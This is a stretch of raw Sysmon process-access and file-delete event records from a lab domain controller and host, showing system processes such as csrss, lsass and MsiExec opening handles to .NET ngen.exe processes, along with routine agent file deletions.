10341000x800000000000000038741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.069{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-4A07-00000000F001}6928c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.069{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-4A07-00000000F001}6928c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.054{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-4707-00000000F001}2632c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.054{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-4707-00000000F001}2632c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.054{7BD73061-6F1E-613B-3F07-00000000F001}66245708C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-4907-00000000F001}5804C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.054{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-4907-00000000F001}5804C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.054{7BD73061-6F1E-613B-3E07-00000000F001}38321644C:\Windows\Microsoft.NET\Framework64\v4.0.30319\NGenTask.exe{7BD73061-6F1F-613B-4907-00000000F001}5804C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.dll+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.DLL+35491|UNKNOWN(00007FF8E4D75A07) 10341000x800000000000000038734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.023{7BD73061-6F1F-613B-4807-00000000F001}57645504C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-4707-00000000F001}2632c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.023{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-4807-00000000F001}5764C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.007{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-4707-00000000F001}2632c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.007{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-4707-00000000F001}2632c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.007{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-4507-00000000F001}3388c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.007{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-4507-00000000F001}3388c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013768Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:44.442{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2FB95FA2BD98DD308FF4C984C5DDD71D,SHA256=EF9940A1ABB0B2E0C121BC4C8CB2B32E6115729A532327031C898C81501734F7,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.991{7BD73061-6F20-613B-AC07-00000000F001}64366224C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-AB07-00000000F001}1368c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.975{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-AC07-00000000F001}6436C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.975{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-AB07-00000000F001}1368c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.975{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-AB07-00000000F001}1368c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.975{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-A907-00000000F001}4120c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.975{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-A907-00000000F001}4120c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.944{7BD73061-6F20-613B-AA07-00000000F001}56406536C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-A907-00000000F001}4120c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.944{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-AA07-00000000F001}5640C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.944{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-A907-00000000F001}4120c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.928{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-A907-00000000F001}4120c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.928{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-A707-00000000F001}6200c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.928{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-A707-00000000F001}6200c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.917{7BD73061-6F20-613B-A807-00000000F001}6516608C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-A707-00000000F001}6200c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000039036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.916{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-038MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.899{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-A807-00000000F001}6516C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.899{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-A707-00000000F001}6200c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.899{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-A707-00000000F001}6200c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.883{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-A507-00000000F001}5976c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 